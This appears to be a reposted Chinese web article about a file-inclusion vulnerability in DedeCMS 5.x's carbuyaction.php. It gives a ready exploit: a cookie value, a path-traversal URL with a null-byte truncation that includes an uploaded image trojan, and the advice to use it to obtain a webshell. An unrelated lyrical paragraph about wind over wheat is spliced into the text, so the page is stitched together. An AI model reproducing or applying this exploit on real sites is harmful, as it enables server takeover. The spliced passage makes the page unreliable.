热搜：编程 Python Microsoft 编程语言 C++

Dedecms中一个重大漏洞文件carbuyaction.php,请注意修复

发布时间：2023-07-11 02:08:09 来源：网络

.

风抚弄着庄稼，时而把它吹弯，时而把它扬起，仿佛大地在进行有节奏的呼吸，那一档档成熟的小麦也都有了生命，风从那边来，传来麦穗与麦穗间的细语。

使用过DEDECMS的人，可能很多都知道了这个漏洞，在DEDECMS5.X版本中，这个文件漏洞一直存在，文件如下：漏洞文件carbuyaction.php

首先利用cookie修改工具，加上 code=alipay 然后访问 
http://www.xxx.com/plus/carbuyaction.php?dopost=return&code=../../uploads/userup/xx/myface.gif%00 
直接包含成功 
利用条件为GPC OFF ，或者某些环境下的截断。 
可以在会员中心里上传个图片木马进行拿shell。 
还可以包含dede自身文件进行更多利用，这里就不详细了。